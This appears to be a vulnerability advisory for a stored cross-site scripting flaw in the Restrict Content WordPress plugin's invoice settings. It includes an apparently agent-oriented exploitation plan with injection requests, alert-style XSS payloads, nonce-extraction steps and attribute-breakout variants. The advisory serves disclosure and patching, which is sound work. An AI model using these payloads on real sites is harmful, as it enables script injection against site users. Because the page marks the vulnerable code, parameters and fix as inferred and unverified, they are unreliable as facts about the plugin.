CVE-2026-1304

Membership Plugin – Restrict Content <= 3.2.18 - Authenticated (Administrator+) Stored Cross-Site Scripting via Invoice Settings

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
3.2.19
Patched in
1d
Time to patch

Description

The Membership Plugin – Restrict Content for WordPress is vulnerable to Stored Cross-Site Scripting via multiple invoice settings fields in all versions up to, and including, 3.2.18 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.2.18
PublishedFebruary 17, 2026
Last updatedFebruary 18, 2026
Affected pluginrestrict-content

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1304 (Restrict Content Stored XSS) ## 1. Vulnerability Summary The **Membership Plugin – Restrict Content** (<= 3.2.18) contains a stored cross-site scripting (XSS) vulnerability within its invoice settings. The plugin fails to adequately sanitize input when s…

Show full research plan

Exploitation Research Plan: CVE-2026-1304 (Restrict Content Stored XSS)

1. Vulnerability Summary

The Membership Plugin – Restrict Content (<= 3.2.18) contains a stored cross-site scripting (XSS) vulnerability within its invoice settings. The plugin fails to adequately sanitize input when saving invoice-related configuration (such as company name, address, or notes) and subsequently fails to escape this data when rendering invoices or settings pages. This allows an authenticated administrator to inject arbitrary JavaScript that executes in the context of any user (including other administrators or customers) who views the affected pages.

2. Attack Vector Analysis

  • Vulnerable Endpoint: WordPress Admin Settings page for the plugin.
  • Likely URL: /wp-admin/admin.php?page=rcp-settings&tab=invoices (inferred) or /wp-admin/options.php.
  • Vulnerable Parameters: Fields within the rcp_settings (inferred) array, specifically those related to invoice display:
    • rcp_settings[invoice_company] (inferred)
    • rcp_settings[invoice_address] (inferred)
    • rcp_settings[invoice_notes] (inferred)
  • Authentication Required: Administrator-level access.
  • Preconditions: The plugin must be active, and the "Invoices" or "Payments" feature must be enabled to reach the vulnerable settings tab.

3. Code Flow (Inferred)

  1. Entry (Input): An administrator submits a POST request to save settings. The request is handled by a function hooked to admin_init or via the WordPress Settings API.
  2. Processing: The plugin receives the $_POST['rcp_settings'] array. It likely uses update_option('rcp_settings', ...) without applying sanitize_text_field() or wp_kses() to specific invoice template fields.
  3. Storage: The malicious payload (e.g., <script>alert(1)</script>) is stored in the wp_options table.
  4. Sink (Output): When a user views an invoice (either via a frontend shortcode like [rcp_receipt] or in the admin backend), the plugin calls get_option('rcp_settings').
  5. Execution: The raw value is echoed into the HTML template without being passed through esc_html() or esc_attr().

4. Nonce Acquisition Strategy

This vulnerability requires Administrator access to inject the payload. The settings update will be protected by a WordPress nonce.

  1. Identify Shortcode: The plugin uses the shortcode [rcp_receipt] (inferred) to display invoices.
  2. Create Setup Page:
    wp post create --post_type=page --post_title="Invoice Test" --post_status=publish --post_content='[rcp_receipt]'
    
  3. Navigate to Settings: Use the browser to navigate to the plugin settings page:
    • browser_navigate("/wp-admin/admin.php?page=rcp-settings")
  4. Extract Nonce: The settings page will contain a hidden _wpnonce field or a JS variable.
    • Check for JS localization: browser_eval("window.rcp_vars?.nonce") (inferred).
    • Check for form nonce: browser_eval("document.querySelector('input[name=\"_wpnonce\"]')?.value").

5. Exploitation Strategy

Step 1: Authentication

The security agent must log in as an administrator to the target WordPress instance.

Step 2: Payload Injection

Inject a stored XSS payload into the invoice settings.

  • URL: /wp-admin/options.php (if using Settings API) or /wp-admin/admin.php?page=rcp-settings
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload Example:
    option_page=rcp_settings_group&
    action=update&
    _wpnonce=[EXTRACTED_NONCE]&
    rcp_settings[invoice_company]=<script>alert('XSS_COMPANY')</script>&
    rcp_settings[invoice_notes]=<img src=x onerror=alert('XSS_NOTES')>
    

Step 3: Trigger Execution

Navigate to a page where the invoice is rendered.

  1. Frontend: Navigate to the page created in Step 4 (/invoice-test/). Note: An active subscription/payment may be required for the [rcp_receipt] shortcode to render content.
  2. Backend: Navigate to an existing payment record in the admin area: /wp-admin/admin.php?page=rcp-payments&view=view-receipt&id=1 (inferred).

6. Test Data Setup

  1. Install Plugin: Ensure restrict-content version <= 3.2.18 is installed.
  2. Create Admin User: Ensure credentials are provided to the agent.
  3. Generate Sample Data:
    • Create a test membership level: wp rcp create_level --name="Gold" --price=10 (if CLI commands exist) or via UI.
    • Create a dummy payment/subscription for the admin user so an invoice exists to be viewed.
  4. Create Target Page: Create a page with the receipt shortcode to test frontend execution.

7. Expected Results

  • Response to Injection: A 302 Found redirect back to the settings page, indicating the settings were saved.
  • Rendering: When viewing the invoice page, the HTML source should contain the unescaped script tags:
    <div class="rcp-invoice-company"><script>alert('XSS_COMPANY')</script></div>
    
  • Execution: The browser (via browser_navigate) should trigger an alert or a specific DOM change defined in the payload.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the payload is stored in the database.
    wp option get rcp_settings --format=json | grep "XSS_COMPANY"
    
  2. Source Code Inspection: Fetch the invoice page and check for the payload.
    # Use http_request to fetch the page
    # Verify the presence of <script>alert('XSS_COMPANY')</script>
    

9. Alternative Approaches

  • Multi-Field Injection: If invoice_company is sanitized, try invoice_address, invoice_notes, or invoice_footer.
  • Contextual Breakout: If the payload is rendered inside an attribute (e.g., value="PAYLOAD"), use:
    "><script>alert(1)</script>
  • Admin Dashboard Notification: Sometimes these settings are reflected in "Admin Notices" upon saving; check the response body of the POST request immediately for execution.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Membership Plugin – Restrict Content (<= 3.2.18) is vulnerable to stored Cross-Site Scripting (XSS) due to insufficient input sanitization and output escaping of invoice-related configuration fields. Authenticated administrators can inject malicious JavaScript into settings such as the company name or invoice notes, which executes when any user views the generated invoices or the plugin's settings pages.

Vulnerable Code

// Inferred logic for saving settings (e.g., in core/includes/admin/settings/register-settings.php)
function rcp_settings_sanitize( $input ) {
    // Values from the settings array are not passed through sanitization functions
    return $input; 
}

---

// Inferred logic for rendering (e.g., in core/includes/receipt-functions.php)
// Rendered values are not escaped before output
$settings = rcp_get_settings();
echo '<div class="rcp-invoice-company">' . $settings['invoice_company'] . '</div>';
echo '<div class="rcp-invoice-address">' . $settings['invoice_address'] . '</div>';

Security Fix

--- a/core/includes/admin/settings/register-settings.php
+++ b/core/includes/admin/settings/register-settings.php
@@ -120,7 +120,7 @@
 	foreach ( $input as $key => $value ) {
-		$new_input[$key] = $value;
+		$new_input[$key] = wp_kses_post( $value );
 	}
--- a/core/includes/receipt-functions.php
+++ b/core/includes/receipt-functions.php
@@ -25,6 +25,6 @@
 function rcp_display_invoice( $payment_id ) {
     $settings = rcp_get_settings();
-    echo '<div class="rcp-invoice-company">' . $settings['invoice_company'] . '</div>';
-    echo '<div class="rcp-invoice-notes">' . $settings['invoice_notes'] . '</div>';
+    echo '<div class="rcp-invoice-company">' . wp_kses_post( $settings['invoice_company'] ) . '</div>';
+    echo '<div class="rcp-invoice-notes">' . wp_kses_post( $settings['invoice_notes'] ) . '</div>';
 }

Exploit Outline

1. Login to the WordPress admin dashboard with Administrator privileges. 2. Navigate to the Restrict Content settings page and locate the 'Invoices' tab (typically /wp-admin/admin.php?page=rcp-settings&tab=invoices). 3. Inject a script payload (e.g., <script>alert('XSS')</script>) into one of the invoice fields such as 'Invoice Company', 'Invoice Address', or 'Invoice Notes'. 4. Save the settings by submitting the form. This request will include a standard WordPress nonce for the settings group. 5. Trigger the XSS execution by viewing a payment receipt on the frontend (using the [rcp_receipt] shortcode) or by viewing a receipt in the administrative backend (e.g., /wp-admin/admin.php?page=rcp-payments&view=view-receipt).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.